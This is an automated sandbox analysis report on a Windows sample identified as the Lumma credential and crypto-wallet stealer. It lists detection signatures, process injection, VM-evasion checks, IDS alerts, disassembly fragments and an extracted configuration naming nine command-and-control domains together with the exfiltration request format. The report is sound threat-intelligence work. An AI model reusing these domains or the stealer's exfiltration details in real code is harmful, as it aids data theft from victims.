Edit tour

Windows Analysis Report
random.exe

Overview

General Information

Sample name:	random.exe
Analysis ID:	1582440
MD5:	99dd1cbbd08be12b84138ba44f2c0c3c
SHA1:	6ebe64007cfaef89253f61ce55c2ca4895b5ecf9
SHA256:	b0aeea5ea36e3f37e4766115d1412085d477b7fbd5c42b861c649df0bb1f20e9
Tags:	exemalwaretrojanuser-Joker
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

random.exe (PID: 5948 cmdline: "C:\Users\user\Desktop\random.exe" MD5: 99DD1CBBD08BE12B84138BA44F2C0C3C)

AddInProcess32.exe (PID: 5772 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 2104 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

AddInProcess32.exe (PID: 1096 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["noisycuttej.shop", "rabidcowse.shop", "cloudewahsj.shop", "fancywaxxers.shop", "framekgirus.shop", "abruptyopsn.shop", "nearycrepso.shop", "wholersorie.shop", "tirepublicerj.shop"], "Build id": "7tx2jo--874"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: random.exe PID: 5948	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: AddInProcess32.exe PID: 5772	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T16:18:15.956142+0100	2028371	3	Unknown Traffic	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:16.912991+0100	2028371	3	Unknown Traffic	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:18.019890+0100	2028371	3	Unknown Traffic	192.168.2.5	57961	104.21.48.1	443	TCP
2024-12-30T16:18:19.042249+0100	2028371	3	Unknown Traffic	192.168.2.5	57962	104.21.48.1	443	TCP
2024-12-30T16:18:20.087656+0100	2028371	3	Unknown Traffic	192.168.2.5	57963	104.21.48.1	443	TCP
2024-12-30T16:18:21.296484+0100	2028371	3	Unknown Traffic	192.168.2.5	57964	104.21.48.1	443	TCP
2024-12-30T16:18:22.493135+0100	2028371	3	Unknown Traffic	192.168.2.5	57965	104.21.48.1	443	TCP
2024-12-30T16:18:24.111191+0100	2028371	3	Unknown Traffic	192.168.2.5	57966	104.21.64.143	443	TCP
2024-12-30T16:18:24.619096+0100	2028371	3	Unknown Traffic	192.168.2.5	57967	104.21.48.1	443	TCP
2024-12-30T16:18:25.061552+0100	2028371	3	Unknown Traffic	192.168.2.5	57968	104.21.64.143	443	TCP
2024-12-30T16:18:26.207168+0100	2028371	3	Unknown Traffic	192.168.2.5	57969	104.21.64.143	443	TCP
2024-12-30T16:18:27.282634+0100	2028371	3	Unknown Traffic	192.168.2.5	57970	104.21.64.143	443	TCP
2024-12-30T16:18:28.333667+0100	2028371	3	Unknown Traffic	192.168.2.5	57971	104.21.64.143	443	TCP
2024-12-30T16:18:29.489247+0100	2028371	3	Unknown Traffic	192.168.2.5	57972	104.21.64.143	443	TCP
2024-12-30T16:18:30.800841+0100	2028371	3	Unknown Traffic	192.168.2.5	57973	104.21.64.143	443	TCP
2024-12-30T16:18:33.311211+0100	2028371	3	Unknown Traffic	192.168.2.5	57974	104.21.64.143	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T16:18:16.441023+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:17.352874+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:24.570318+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57966	104.21.64.143	443	TCP
2024-12-30T16:18:25.091995+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57967	104.21.48.1	443	TCP
2024-12-30T16:18:25.538684+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57968	104.21.64.143	443	TCP
2024-12-30T16:18:33.910391+0100	2054653	1	A Network Trojan was detected	192.168.2.5	57974	104.21.64.143	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T16:18:16.441023+0100	2049836	1	A Network Trojan was detected	192.168.2.5	57959	104.21.48.1	443	TCP
2024-12-30T16:18:24.570318+0100	2049836	1	A Network Trojan was detected	192.168.2.5	57966	104.21.64.143	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T16:18:17.352874+0100	2049812	1	A Network Trojan was detected	192.168.2.5	57960	104.21.48.1	443	TCP
2024-12-30T16:18:25.538684+0100	2049812	1	A Network Trojan was detected	192.168.2.5	57968	104.21.64.143	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T16:18:21.742197+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	57964	104.21.48.1	443	TCP
2024-12-30T16:18:30.079771+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	57972	104.21.64.143	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: cloudewahsj.shop	Avira URL Cloud: Label: malware
Source: rabidcowse.shop	Avira URL Cloud: Label: malware
Source: wholersorie.shop	Avira URL Cloud: Label: malware
Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: nearycrepso.shop	Avira URL Cloud: Label: malware
Source: noisycuttej.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/qw	Avira URL Cloud: Label: malware
Source: framekgirus.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: abruptyopsn.shop	Avira URL Cloud: Label: malware
Source: tirepublicerj.shop	Avira URL Cloud: Label: malware

Found malware configuration

Source: 6.2.AddInProcess32.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["noisycuttej.shop", "rabidcowse.shop", "cloudewahsj.shop", "fancywaxxers.shop", "framekgirus.shop", "abruptyopsn.shop", "nearycrepso.shop", "wholersorie.shop", "tirepublicerj.shop"], "Build id": "7tx2jo--874"}

Multi AV Scanner detection for submitted file

Source: random.exe

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: random.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fancywaxxers.shop
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000006.00000002.2922348864.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 7tx2jo--874

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00419362 CryptUnprotectData,

6_2_00419362

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.5:57860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.5:57967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.143:443 -> 192.168.2.5:57974 version: TLS 1.2

Source: random.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+217F4C11h]	6_2_00426000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-143BF0FEh]	6_2_0040C22D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov dword ptr [esp], ecx	6_2_00419362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	6_2_0043FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2397B827h]	6_2_0043DCE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	6_2_0043DCE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [ebp+esi*8+00h], 56ADC53Ah	6_2_00440480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov esi, edx	6_2_00408640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], al	6_2_0042BE8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	6_2_0042BE8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	6_2_0042A050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+129161F8h]	6_2_0043E051
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax-01h]	6_2_0043E850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp ecx	6_2_0043D818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 798ECF08h	6_2_00419820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	6_2_00419820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F0CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], dl	6_2_0042C0CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	6_2_00415882
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 138629C0h	6_2_00415882
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 385488F2h	6_2_004398A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4B1BF3DAh	6_2_004390A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], dl	6_2_0042C140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 9EB5184Bh	6_2_00416148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+68h]	6_2_00416148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_00416148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_00416148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [edi], cx	6_2_0042895A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, eax	6_2_0042895A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, word ptr [eax]	6_2_00424974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	6_2_00424974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00428100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], E81D91D4h	6_2_00440130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp ecx	6_2_004229CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_004229CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	6_2_0043E19A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], dl	6_2_0042C1A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-27C0856Fh]	6_2_0043C1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00427A5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-19559D57h]	6_2_0043E262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000011E4h]	6_2_00423A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], al	6_2_0042C26C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	6_2_0042C26C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0042BA79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F2F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], al	6_2_0042C282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	6_2_0042C282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-22E2F54Ah]	6_2_0043EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	6_2_00429A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00426340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+217F4C99h]	6_2_00426340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	6_2_00402B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-00000092h]	6_2_00426360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00426360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00427B08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+20h]	6_2_004073C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	6_2_004073C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx-5Fh]	6_2_0041C3CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then push esi	6_2_00420BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then test eax, eax	6_2_004393D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [eax], dl	6_2_0042238D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then jmp ecx	6_2_0042238D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov edx, eax	6_2_0043C440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	6_2_0043F450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-4Bh]	6_2_00439C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	6_2_00435410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	6_2_00421C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	6_2_00416C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	6_2_004274A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-000000DCh]	6_2_00427CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00427CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov esi, ecx	6_2_0043C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then test eax, eax	6_2_0043C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 06702B10h	6_2_0043C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+5024FCA5h]	6_2_00414DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	6_2_00416C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	6_2_004155DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov ecx, eax	6_2_0041AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2DFE5A91h	6_2_0043FE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [ecx], bp	6_2_0041CECA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx]	6_2_0043E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+000000C8h]	6_2_0040C6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [edi], bl	6_2_00408EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	6_2_0041DE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [ebx], cx	6_2_00418740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov word ptr [edi], dx	6_2_00414777
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then mov byte ptr [esi], al	6_2_0041BFCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	6_2_004237D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5F376B7Fh]	6_2_00417FE1
